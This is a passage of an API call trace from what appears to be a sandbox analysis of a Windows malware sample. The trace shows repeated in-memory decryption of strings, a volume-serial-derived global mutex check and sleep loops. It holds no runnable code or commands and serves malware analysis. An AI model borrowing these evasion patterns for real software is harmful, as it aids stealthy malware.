pdwDataLen=0xb0fa68) returned 1 [0050.978] CryptDestroyKey (hKey=0x2f2e78) returned 1 [0050.978] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x92abb8 | out: hHeap=0x7c0000) returned 1 [0050.978] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x7c7ee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0050.978] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f08 | out: hHeap=0x7c0000) returned 1 [0050.978] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0050.978] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xb0fb1c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xb0fb1c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0050.978] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7ee0 | out: hHeap=0x7c0000) returned 1 [0050.978] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x40) returned 0x7c7eb8 [0050.978] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0faa8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fb10 | out: phKey=0xb0fb10*=0x2f2e78) returned 1 [0050.978] CryptSetKeyParam (hKey=0x2f2e78, dwParam=0x1, pbData=0xb0faf8, dwFlags=0x0) returned 1 [0050.978] CryptDecrypt (in: hKey=0x2f2e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fac4 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fac4) returned 1 [0050.978] CryptDestroyKey (hKey=0x2f2e78) returned 1 [0050.978] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x34) returned 0x7c7f00 [0050.978] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x150 [0050.978] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x0) returned 0x102 [0050.978] CloseHandle (hObject=0x150) returned 1 [0050.978] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0050.978] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f00 | out: hHeap=0x7c0000) returned 1 [0050.978] Sleep (dwMilliseconds=0x3e8) [0052.309] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20) returned 0x7c7eb8 [0052.309] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa74, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fadc | out: phKey=0xb0fadc*=0x2f2e78) returned 1 [0052.309] CryptSetKeyParam (hKey=0x2f2e78, dwParam=0x1, pbData=0xb0fac4, dwFlags=0x0) returned 1 [0052.309] CryptDecrypt (in: hKey=0x2f2e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fa90 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fa90) returned 1 [0052.309] CryptDestroyKey (hKey=0x2f2e78) returned 1 [0052.309] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c7ee0 [0052.309] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1e) returned 0x7c7f08 [0052.309] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x92abb8 [0052.309] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fab4 | out: phKey=0xb0fab4*=0x2f2e78) returned 1 [0052.309] CryptSetKeyParam (hKey=0x2f2e78, dwParam=0x1, pbData=0xb0fa9c, dwFlags=0x0) returned 1 [0052.309] CryptDecrypt (in: hKey=0x2f2e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x92abb8, pdwDataLen=0xb0fa68 | out: pbData=0x92abb8, pdwDataLen=0xb0fa68) returned 1 [0052.309] CryptDestroyKey (hKey=0x2f2e78) returned 1 [0052.309] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x92abb8 | out: hHeap=0x7c0000) returned 1 [0052.309] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x7c7ee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0052.309] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f08 | out: hHeap=0x7c0000) returned 1 [0052.309] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0052.309] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xb0fb1c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xb0fb1c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0052.310] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7ee0 | out: hHeap=0x7c0000) returned 1 [0052.310] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x40) returned 0x7c7eb8 [0052.310] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0faa8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fb10 | out: phKey=0xb0fb10*=0x2f2e78) returned 1 [0052.310] CryptSetKeyParam (hKey=0x2f2e78, dwParam=0x1, pbData=0xb0faf8, dwFlags=0x0) returned 1 [0052.310] CryptDecrypt (in: hKey=0x2f2e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fac4 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fac4) returned 1 [0052.310] CryptDestroyKey (hKey=0x2f2e78) returned 1 [0052.310] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x34) returned 0x7c7f00 [0052.310] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x150 [0052.310] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x0) returned 0x102 [0052.310] CloseHandle (hObject=0x150) returned 1 [0052.310] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0052.310] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f00 | out: hHeap=0x7c0000) returned 1 [0052.310] Sleep (dwMilliseconds=0x3e8) [0053.615] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20) returned 0x7c7eb8 [0053.615] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa74, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fadc | out: phKey=0xb0fadc*=0x2f2e78) returned 1 [0053.615] CryptSetKeyParam (hKey=0x2f2e78, dwParam=0x1, pbData=0xb0fac4, dwFlags=0x0) returned 1 [0053.615] CryptDecrypt (in: hKey=0x2f2e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fa90 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fa90) returned 1 [0053.615] CryptDestroyKey (hKey=0x2f2e78) returned 1 [0053.615] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c7ee0 [0053.615] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1e) returned 0x7c7f08 [0053.615] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x92abb8 [0053.615] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fab4 | out: phKey=0xb0fab4*=0x2f2e78) returned 1 [0053.615] CryptSetKeyParam (hKey=0x2f2e78, dwParam=0x1, pbData=0xb0fa9c, dwFlags=0x0) returned 1 [0053.615] CryptDecrypt (in: hKey=0x2f2e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x92abb8, pdwDataLen=0xb0fa68 | out: pbData=0x92abb8, pdwDataLen=0xb0fa68) returned 1 [0053.615] CryptDestroyKey (hKey=0x2f2e78) returned 1 [0053.615] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x92abb8 | out: hHeap=0x7c0000) returned 1 [0053.615] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x7c7ee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0053.616] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f08 | out: hHeap=0x7c0000) returned 1 [0053.616] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0053.616] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xb0fb1c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xb0fb1c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0053.616] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7ee0 | out: hHeap=0x7c0000) returned 1 [0053.616] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x40) returned 0x7c7eb8 [0053.616] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0faa8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fb10 | out: phKey=0xb0fb10*=0x2f2e78) returned 1 [0053.616] CryptSetKeyParam (hKey=0x2f2e78, dwParam=0x1, pbData=0xb0faf8, dwFlags=0x0) returned 1 [0053.616] CryptDecrypt (in: hKey=0x2f2e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fac4 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fac4) returned 1 [0053.616] CryptDestroyKey (hKey=0x2f2e78) returned 1 [0053.616] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x34) returned 0x7c7f00 [0053.616] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x150 [0053.616] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x0) returned 0x102 [0053.616] CloseHandle (hObject=0x150) returned 1 [0053.616] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0053.616] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f00 | out: hHeap=0x7c0000) returned 1 [0053.616] Sleep (dwMilliseconds=0x3e8) [0054.967] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20) returned 0x7c7eb8 [0054.967] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa74, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fadc | out: phKey=0xb0fadc*=0x2f2e78) returned 1 [0054.967] CryptSetKeyParam (hKey=0x2f2e78, dwParam=0x1, pbData=0xb0fac4, dwFlags=0x0) returned 1 [0054.972] CryptDecrypt (in: hKey=0x2f2e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fa90 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fa90) returned 1 [0054.972] CryptDestroyKey (hKey=0x2f2e78) returned 1 [0054.972] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c7ee0 [0054.972] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1e) returned 0x7c7f08 [0054.972] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x92abb8 [0054.972] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fab4 | out: phKey=0xb0fab4*=0x2f2e78) returned 1 [0054.973] CryptSetKeyParam (hKey=0x2f2e78, dwParam=0x1, pbData=0xb0fa9c, dwFlags=0x0) returned 1 [0054.976] CryptDecrypt (in: hKey=0x2f2e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x92abb8, pdwDataLen=0xb0fa68 | out: pbData=0x92abb8, pdwDataLen=0xb0fa68) returned 1 [0054.977] CryptDestroyKey (hKey=0x2f2e78) returned 1 [0054.977] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x92abb8 | out: hHeap=0x7c0000) returned 1 [0054.977] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x7c7ee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0055.001] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f08 | out: hHeap=0x7c0000) returned 1 [0055.001] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0055.001] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xb0fb1c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xb0fb1c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0055.001] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7ee0 | out: hHeap=0x7c0000) returned 1 [0055.001] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x40) returned 0x7c7eb8 [0055.002] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0faa8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fb10 | out: phKey=0xb0fb10*=0x2f2e78) returned 1 [0055.002] CryptSetKeyParam (hKey=0x2f2e78, dwParam=0x1, pbData=0xb0faf8, dwFlags=0x0) returned 1 [0055.002] CryptDecrypt (in: hKey=0x2f2e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fac4 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fac4) returned 1 [0055.002] CryptDestroyKey (hKey=0x2f2e78) returned 1 [0055.002] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x34) returned 0x7c7f00 [0055.002] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x150 [0055.002] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x0) returned 0x102 [0055.002] CloseHandle (hObject=0x150) returned 1 [0055.002] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0055.002] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f00 | out: hHeap=0x7c0000) returned 1 [0055.002] Sleep (dwMilliseconds=0x3e8) [0056.434] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20) returned 0x7c7eb8 [0056.434] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa74, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fadc | out: phKey=0xb0fadc*=0x2f2e78) returned 1 [0056.434] CryptSetKeyParam (hKey=0x2f2e78, dwParam=0x1, pbData=0xb0fac4, dwFlags=0x0) returned 1 [0056.434] CryptDecrypt (in: hKey=0x2f2e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fa90 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fa90) returned 1 [0056.434] CryptDestroyKey (hKey=0x2f2e78) returned 1 [0056.434] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c7ee0 [0056.434] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1e) returned 0x7c7f08 [0056.434] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x92abb8 [0056.434] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fab4 | out: phKey=0xb0fab4*=0x2f2e78) returned 1 [0056.434] CryptSetKeyParam (hKey=0x2f2e78, dwParam=0x1, pbData=0xb0fa9c, dwFlags=0x0) returned 1 [0056.434] CryptDecrypt (in: hKey=0x2f2e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x92abb8, pdwDataLen=0xb0fa68 | out: pbData=0x92abb8, pdwDataLen=0xb0fa68) returned 1 [0056.434] CryptDestroyKey (hKey=0x2f2e78) returned 1 [0056.434] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x92abb8 | out: hHeap=0x7c0000) returned 1 [0056.434] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x7c7ee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0056.434] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f08 | out: hHeap=0x7c0000) returned 1 [0056.434] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0056.434] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xb0fb1c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xb0fb1c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0056.434] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7ee0 | out: hHeap=0x7c0000) returned 1 [0056.434] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x40) returned 0x7c7eb8 [0056.434] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0faa8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fb10 | out: phKey=0xb0fb10*=0x2f2e78) returned 1 [0056.434] CryptSetKeyParam (hKey=0x2f2e78, dwParam=0x1, pbData=0xb0faf8, dwFlags=0x0) returned 1 [0056.434] CryptDecrypt (in: hKey=0x2f2e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fac4 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fac4) returned 1 [0056.434] CryptDestroyKey (hKey=0x2f2e78) returned 1 [0056.434] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x34) returned 0x7c7f00 [0056.434] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x150 [0056.435] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x0) returned 0x102 [0056.435] CloseHandle (hObject=0x150) returned 1 [0056.435] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0056.435] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f00 | out: hHeap=0x7c0000) returned 1 [0056.435] Sleep (dwMilliseconds=0x3e8) [0057.899] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20) returned 0x7c7eb8 [0057.899] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa74, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fadc | out: phKey=0xb0fadc*=0x2f2e78) returned 1 [0057.899] CryptSetKeyParam (hKey=0x2f2e78, dwParam=0x1, pbData=0xb0fac4, dwFlags=0x0) returned 1 [0057.900] CryptDecrypt (in: hKey=0x2f2e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fa90 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fa90) returned 1 [0057.900] CryptDestroyKey (hKey=0x2f2e78) returned 1 [0057.900] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c7ee0 [0057.900] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1e) returned 0x7c7f08 [0057.900] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x92abb8 [0057.900] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fab4 | out: phKey=0xb0fab4*=0x2f2e78) returned 1 [0057.900] CryptSetKeyParam (hKey=0x2f2e78, dwParam=0x1, pbData=0xb0fa9c, dwFlags=0x0) returned 1 [0057.900] CryptDecrypt (in: hKey=0x2f2e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x92abb8, pdwDataLen=0xb0fa68 | out: pbData=0x92abb8, pdwDataLen=0xb0fa68) returned 1 [0057.900] CryptDestroyKey (hKey=0x2f2e78) returned 1 [0057.900] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x92abb8 | out: hHeap=0x7c0000) returned 1 [0057.900] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x7c7ee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0057.900] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f08 | out: hHeap=0x7c0000) returned 1 [0057.900] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0057.900] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xb0fb1c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xb0fb1c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0057.900] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7ee0 | out: hHeap=0x7c0000) returned 1 [0057.900] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x40) returned 0x7c7eb8 [0057.901] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0faa8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fb10 | out: phKey=0xb0fb10*=0x2f2e78) returned 1 [0057.901] CryptSetKeyParam (hKey=0x2f2e78, dwParam=0x1, pbData=0xb0faf8, dwFlags=0x0) returned 1 [0057.901] CryptDecrypt (in: hKey=0x2f2e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fac4 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fac4) returned 1 [0057.901] CryptDestroyKey (hKey=0x2f2e78) returned 1 [0057.901] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x34) returned 0x7c7f00 [0057.901] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x150 [0057.901] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x0) returned 0x102 [0057.901] CloseHandle (hObject=0x150) returned 1 [0057.901] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0057.901] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f00 | out: hHeap=0x7c0000) returned 1 [0057.901] Sleep (dwMilliseconds=0x3e8) Thread: id = 7 os_tid = 0xa78 [0031.983] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x440) returned 0x7c5508 [0031.983] CryptImportKey (in: hProv=0x2e5138, pbData=0xd8f8a0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8f908 | out: phKey=0xd8f908*=0x2e7650) returned 1 [0031.983] CryptSetKeyParam (hKey=0x2e7650, dwParam=0x1, pbData=0xd8f8f0, dwFlags=0x0) returned 1 [0031.983] CryptDecrypt (in: hKey=0x2e7650, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c5508, pdwDataLen=0xd8f8bc | out: pbData=0x7c5508, pdwDataLen=0xd8f8bc) returned 1 [0031.983] CryptDestroyKey (hKey=0x2e7650) returned 1 [0031.983] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x434) returned 0x7c7348 [0031.984] GetLastError () returned 0x57 [0031.984] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x214) returned 0x7c7788 [0031.984] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0031.984] GetCurrentThreadId () returned 0xa78 [0031.984] SetLastError (dwErrCode=0x57) [0031.984] GetLastError () returned 0x57 [0031.984] SetLastError (dwErrCode=0x57) [0031.984] GetLastError () returned 0x57 [0031.984] SetLastError (dwErrCode=0x57) [0031.984] GetLastError () returned 0x57 [0031.984] SetLastError (dwErrCode=0x57) [0031.984] GetLastError () returned 0x57 [0031.985] SetLastError (dwErrCode=0x57) [0031.985] GetLastError () returned 0x57 [0031.985] SetLastError (dwErrCode=0x57) [0031.985] GetLastError () returned 0x57 [0031.985] SetLastError (dwErrCode=0x57) [0031.985] GetLastError () returned 0x57 [0031.985] SetLastError (dwErrCode=0x57) [0031.985] GetLastError () returned 0x57 [0031.985] SetLastError (dwErrCode=0x57) [0031.985] GetLastError () returned 0x57 [0031.985] SetLastError (dwErrCode=0x57) [0031.985] GetLastError () returned 0x57 [0031.985] SetLastError (dwErrCode=0x57) [0031.985] GetLastError () returned 0x57 [0031.985] SetLastError (dwErrCode=0x57) [0031.985] GetLastError () returned 0x57 [0031.985] SetLastError (dwErrCode=0x57) [0031.985] GetLastError () returned 0x57 [0031.985] SetLastError (dwErrCode=0x57) [0031.985] GetLastError () returned 0x57 [0031.985] SetLastError (dwErrCode=0x57) [0031.985] GetLastError () returned 0x57 [0031.986] SetLastError (dwErrCode=0x57) [0031.986] GetLastError () returned 0x57 [0031.986] SetLastError (dwErrCode=0x57) [0031.986] GetLastError () returned 0x57 [0031.986] SetLastError (dwErrCode=0x57) [0031.986] GetLastError () returned 0x57 [0031.986] SetLastError (dwErrCode=0x57) [0031.986] GetLastError () returned 0x57 [0031.986] SetLastError (dwErrCode=0x57) [0031.986] GetLastError () returned 0x57 [0031.986] SetLastError (dwErrCode=0x57) [0031.986] GetLastError () returned 0x57 [0031.986] SetLastError (dwErrCode=0x57) [0031.986] GetLastError () returned 0x57 [0031.986] SetLastError (dwErrCode=0x57) [0031.986] GetLastError () returned 0x57 [0031.986] SetLastError (dwErrCode=0x57) [0031.986] GetLastError () returned 0x57 [0031.986] SetLastError (dwErrCode=0x57) [0031.986] GetLastError () returned 0x57 [0031.986] SetLastError (dwErrCode=0x57) [0031.987] GetLastError () returned 0x57 [0031.987] SetLastError (dwErrCode=0x57) [0031.987] GetLastError () returned 0x57 [0031.987] SetLastError (dwErrCode=0x57) [0031.987] GetLastError () returned 0x57 [0031.987] SetLastError (dwErrCode=0x57) [0031.987] GetLastError () returned 0x57 [0031.987] SetLastError (dwErrCode=0x57) [0031.987] GetLastError () returned 0x57 [0031.987] SetLastError (dwErrCode=0x57) [0031.987] GetLastError () returned 0x57 [0031.987] SetLastError (dwErrCode=0x57) [0031.987] GetLastError () returned 0x57 [0031.987] SetLastError (dwErrCode=0x57) [0031.987] GetLastError () returned 0x57 [0031.987] SetLastError (dwErrCode=0x57) [0031.987] GetLastError () returned 0x57 [0031.987] SetLastError (dwErrCode=0x57) [0031.987] GetLastError () returned 0x57 [0031.987] SetLastError (dwErrCode=0x57) [0031.987] GetLastError () returned 0x57 [0031.988] SetLastError (dwErrCode=0x57) [0031.988] GetLastError () returned 0x57 [0031.988] SetLastError (dwErrCode=0x57) [0031.988] GetLastError () returned 0x57 [0031.988] SetLastError (dwErrCode=0x57) [0031.988] GetLastError () returned 0x57 [0031.988] SetLastError (dwErrCode=0x57) [0031.988] GetLastError () returned 0x57 [0031.988] SetLastError (dwErrCode=0x57) [0031.988] GetLastError () returned 0x57 [0031.988] SetLastError (dwErrCode=0x57) [0031.988] GetLastError () returned 0x57 [0031.988] SetLastError (dwErrCode=0x57) [0031.988] GetLastError () returned 0x57 [0031.988] 